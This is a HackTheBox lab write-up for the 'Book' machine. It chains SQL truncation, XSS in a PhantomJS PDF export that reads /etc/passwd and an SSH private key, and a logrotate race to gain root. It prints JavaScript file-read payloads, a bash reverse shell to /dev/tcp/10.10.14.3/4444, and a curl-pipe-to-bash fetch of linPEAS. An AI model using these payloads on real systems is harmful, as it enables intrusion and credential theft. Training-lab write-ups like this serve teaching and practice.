HTB: Book Writeup

Book - HackTheBox Writeup

Machine Information

AttributeDetails
NameBook
OSLinux
DifficultyMedium
PointsN/A
Release Date7th July 2020
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Book is a medium difficulty Linux machine hosting a library management application with user registration and book submission features. The vulnerability chain exploits SQL truncation to gain admin panel access, then leverages XSS in PDF rendering to read SSH private keys via a headless browser (PhantomJS), and finally abuses misconfigured logrotate permissions to achieve root privilege escalation. TL;DR: SQL Truncation → Admin Access → XSS in PDF Export → SSH Key Extraction → Logrotate Race Condition → Root.


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
nmap -p- --min-rate=1000 -T4 10.10.10.176
# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.176 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.176

Results: Two open ports identified:

  • Port 80 - HTTP (Apache web server)
  • Port 22 - SSH

Service Enumeration

HTTP Service (Port 80):

The application presents a library management system with sign-up and login functionality. The form enforces username length restrictions (< 10 characters) and email length restrictions (< 20 characters).

Directory Enumeration:

Terminal window
gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-common.txt

Key findings:

  • /admin - Admin login panel (requires different credentials than user panel)
  • /docs - Returns 403 Forbidden
  • /collections - Book management interface (requires authentication)
  • /profile - User profile editing

Vulnerability Assessment

  1. SQL Truncation Vulnerability - Username/email fields truncate input based on length restrictions, allowing bypass through careful payload construction
  2. XSS in PDF Export - Admin panel uses PhantomJS to render HTML to PDF without proper sanitization
  3. Logrotate Race Condition - Writable log files owned by unprivileged users can be exploited during rotation

Initial Foothold

Exploitation Path: SQL Truncation to Admin Access

Step 1: Register Initial Account

Sign up with arbitrary credentials to understand the application flow:

  • Username: admin
  • Email: user@example.com

The registration succeeds, indicating that the username “admin” is not reserved at the user level.

Step 2: Identify SQL Truncation Vulnerability

Access the profile page and intercept the username update request in Burp Suite:

POST /profile.php HTTP/1.1
Host: 10.10.10.176
Content-Type: application/x-www-form-urlencoded
username=adminxxxxxxxx&email=user@example.com

When submitting a username longer than 10 characters, the backend truncates it. Test with spaces:

username=admin%20%20%20%20%20%20%20&email=user@example.com

After refresh, the profile shows username as “admin ” (admin with trailing spaces). MySQL treats trailing spaces as equivalent to the base string, meaning “admin ” = “admin” in database operations.

Step 3: Register as Admin via Email Truncation

Attempt to register a new account with the admin email. Intercept the sign-up request:

POST /register.php HTTP/1.1
Host: 10.10.10.176
Content-Type: application/x-www-form-urlencoded
username=someuser&email=admin@book.htb%20%20%20%20%20%20%20%20%20%20x

The email field accepts up to 20 characters. By padding with spaces and a trailing character, we can force truncation to exactly admin@book.htb (19 chars), bypassing any uniqueness checks. Forward the request without errors.

Step 4: Login to Admin Panel

Log in with the newly registered account:

Username: someuser
Password: (your password)

Then navigate to /admin and attempt login with:

Email: admin@book.htb
Password: (your password)

Access to the admin panel is granted.

Exploitation Path: XSS in PDF Export to SSH Key Extraction

Step 5: Enumerate Admin Functionality

The Collections tab in the admin panel allows exporting collections as PDF. Adding a test collection and exporting reveals an HTML table rendered to PDF format.

Step 6: Confirm XSS via Image Tag

Add a new collection with an embedded image tag:

<img src="http://10.10.14.3/test" />

Start a local HTTP listener:

Terminal window
python3 -m http.server 80

Export the collection PDF. The server makes an HTTP request to your listener with User-Agent PhantomJS, confirming server-side HTML rendering and JavaScript execution.

Step 7: Test JavaScript Execution

Submit a collection with a simple script:

<script>document.write("Javascript works!")</script>

Export and verify the text appears in the generated PDF.

Step 8: Read System Files via XMLHttpRequest

Create a payload to read /etc/passwd:

<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///etc/passwd", true);
x.onload = function(){
document.write(x.responseText);
};
x.send();
</script>

Submit and export. The passwd file content is rendered in the PDF, confirming arbitrary file read capability.

Step 9: Extract SSH Private Key

Identify the reader user from /etc/passwd and extract the SSH private key:

<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///home/reader/.ssh/id_rsa", true);
x.onload = function(){
var code = "<textarea rows='100' cols='70'>" + btoa(x.responseText) + "</textarea>";
document.write(code);
};
x.send();
</script>

The btoa() function encodes the key in base64 for reliable copying from the PDF.

Step 10: SSH Access

Decode the base64-encoded SSH key and save it:

Terminal window
# Copy the base64 string from PDF and decode
echo "BASE64_STRING" | base64 -d > id_rsa
chmod 600 id_rsa
# SSH into the target
ssh -i id_rsa reader@10.10.10.176

User flag obtained.


Privilege Escalation

Step 11: Local Enumeration

Run automated enumeration to identify privilege escalation vectors:

Terminal window
# Download and execute linPEAS
curl http://10.10.14.3:8000/linpeas.sh | bash

Key finding: The user reader has write access to log files in /home/reader/backups/, and the system runs logrotate with root privileges.

Step 12: Confirm Logrotate Execution

Verify logrotate is running as root:

Terminal window
# Download pspy to monitor process execution
wget http://10.10.14.3:8000/pspy64s
chmod +x pspy64s
./pspy64s

Observe logrotate being executed by uid=0 (root) at regular intervals.

Step 13: Setup Logrotate Exploitation

Clone and compile the logrotten exploit:

Terminal window
git clone https://github.com/whotwagner/logrotten
cd logrotten
gcc logrotten.c -o logrotten

Create a shell script payload:

cat > shell << 'EOF'
#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1" &
EOF
chmod +x shell

Step 14: Transfer Exploit Files

Terminal window
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://10.10.14.3:8000/logrotten
wget http://10.10.14.3:8000/shell
chmod +x logrotten shell

Step 15: Trigger Logrotate and Gain Root

Execute the exploit:

Terminal window
# Add content to trigger log rotation
echo test >> /home/reader/backups/access.log
# Run logrotten exploit
./logrotten -d -p shell /home/reader/backups/access.log

The exploit leverages a race condition: when logrotate processes the log file, it creates a temporary file. Logrotten symlinks this to /etc/bash_completion.d/, a directory containing scripts executed during root login.

On the next root login (or immediately via cron), the shell script executes with root privileges:

Terminal window
# Setup listener on attacker machine
nc -lvnp 4444
# Receive root reverse shell

Root flag obtained.


Attack Chain Summary

User Registration (SQL Truncation Bypass)
Admin Panel Access (Email Truncation)
XSS in PDF Export (PhantomJS Rendering)
Arbitrary File Read (XMLHttpRequest + file:// URI)
SSH Private Key Extraction (/home/reader/.ssh/id_rsa)
SSH Access as reader User
Logrotate Race Condition Detection (pspy + linPEAS)
Logrotten Exploit + Bash Completion Script Injection
Root Reverse Shell Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterDirectory and file enumeration
Burp SuiteHTTP request interception and manipulation
curlFile download and HTTP requests
wgetRemote file retrieval
gccCompiling logrotten exploit
python3 http.serverHTTP file serving
ncReverse shell listener
pspy64sProcess monitoring and logrotate detection
linpeas.shAutomated privilege escalation enumeration
base64Key encoding/decoding
sshSecure shell access

Key Learnings

Techniques Practiced

  • SQL Truncation Attacks - Understanding database-level string handling and exploiting length-based input validation
  • XSS Exploitation - Leveraging client-side vulnerabilities in server-side rendering contexts
  • Headless Browser Exploitation - Using PhantomJS JavaScript execution for arbitrary file read
  • Logrotate Race Conditions - Understanding system utility vulnerabilities through symlink manipulation
  • Privilege Escalation via Bash Completions - Injecting code into system-level initialization scripts

Lessons Learned

  1. Input validation ≠ Security - Length restrictions alone do not prevent SQL injection or authorization bypass; database-level behavior (trailing space handling) must be considered.

  2. Server-side rendering risks - Headless browsers executing user-supplied HTML are dangerous; they can read local files and execute arbitrary JavaScript with system-level permissions.

  3. Log file permissions matter - Writable log files combined with privileged log rotation create significant privilege escalation opportunities.

  4. Race conditions in system utilities - Tools like logrotate operating on privileged files with predictable behavior can be exploited through timing attacks and symlink tricks.

  5. Defense in depth - Multiple smaller vulnerabilities (truncation + XSS + logrotate misconfiguration) chain together for complete system compromise; fixing any single vulnerability would break the attack.

  6. Process monitoring is essential - Using tools like pspy to confirm privileged process execution is critical for accurate exploitation planning.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>